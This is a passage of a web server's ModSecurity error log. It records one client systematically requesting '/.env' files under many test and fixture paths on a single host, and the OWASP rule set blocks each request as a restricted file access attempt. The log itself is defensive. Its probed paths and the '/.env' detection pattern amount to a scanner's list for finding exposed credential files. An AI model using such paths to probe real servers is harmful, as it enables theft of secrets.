&quot;/test/bdd/fixtures/demo/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl5AAAAAI&quot;]
[Thu Feb 26 01:03:20.872668 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl5AAAAAI&quot;]
[Thu Feb 26 01:03:20.872826 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl5AAAAAI&quot;]
[Thu Feb 26 01:03:20.891260 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test-network/addorg3/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/addOrg3/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlISwAAAAQ&quot;]
[Thu Feb 26 01:03:20.891485 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/addOrg3/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlISwAAAAQ&quot;]
[Thu Feb 26 01:03:20.891648 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/addOrg3/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlISwAAAAQ&quot;]
[Thu Feb 26 01:03:20.906002 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/demo/openapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/openapi/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl5QAAAAI&quot;]
[Thu Feb 26 01:03:20.906231 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/openapi/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl5QAAAAI&quot;]
[Thu Feb 26 01:03:20.906437 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/openapi/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl5QAAAAI&quot;]
[Thu Feb 26 01:03:20.933451 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/did-method-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-method-rest/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl5gAAAAI&quot;]
[Thu Feb 26 01:03:20.933709 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-method-rest/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl5gAAAAI&quot;]
[Thu Feb 26 01:03:20.933898 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-method-rest/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl5gAAAAI&quot;]
[Thu Feb 26 01:03:20.960477 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/aries-js-worker/fixtures/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/aries-js-worker/fixtures/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlITQAAAAQ&quot;]
[Thu Feb 26 01:03:20.960712 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/aries-js-worker/fixtures/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlITQAAAAQ&quot;]
[Thu Feb 26 01:03:20.960863 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/aries-js-worker/fixtures/.env&quot;] [unique_id &quot;aZ-NyDf0JOOqB-ib2UlITQAAAAQ&quot;]
[Thu Feb 26 01:03:20.991455 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/did-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl5wAAAAI&quot;]
[Thu Feb 26 01:03:20.991712 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl5wAAAAI&quot;]
[Thu Feb 26 01:03:20.991890 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aZ-NyICbt-ue5ARpbmjl5wAAAAI&quot;]
[Thu Feb 26 01:03:21.020454 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/adapter-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/adapter-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlITgAAAAQ&quot;]
[Thu Feb 26 01:03:21.020709 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/adapter-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlITgAAAAQ&quot;]
[Thu Feb 26 01:03:21.020867 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/adapter-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlITgAAAAQ&quot;]
[Thu Feb 26 01:03:21.032002 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/edv-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/edv-rest/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl6AAAAAI&quot;]
[Thu Feb 26 01:03:21.032250 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/edv-rest/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl6AAAAAI&quot;]
[Thu Feb 26 01:03:21.032425 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/edv-rest/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl6AAAAAI&quot;]
[Thu Feb 26 01:03:21.057979 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/openapi-demo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/openapi-demo/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl6QAAAAI&quot;]
[Thu Feb 26 01:03:21.058236 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/openapi-demo/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl6QAAAAI&quot;]
[Thu Feb 26 01:03:21.058541 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/openapi-demo/.env&quot;] [unique_id &quot;aZ-NyYCbt-ue5ARpbmjl6QAAAAI&quot;]
[Thu Feb 26 01:03:21.061831 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/agent-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/agent-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlITwAAAAQ&quot;]
[Thu Feb 26 01:03:21.062079 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/agent-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlITwAAAAQ&quot;]
[Thu Feb 26 01:03:21.062227 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/agent-rest/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlITwAAAAQ&quot;]
[Thu Feb 26 01:03:21.096675 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/couchdb/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIUAAAAAQ&quot;]
[Thu Feb 26 01:03:21.096936 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIUAAAAAQ&quot;]
[Thu Feb 26 01:03:21.097101 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aZ-NyTf0JOOqB-ib2UlIUAAAAAQ&quot;]
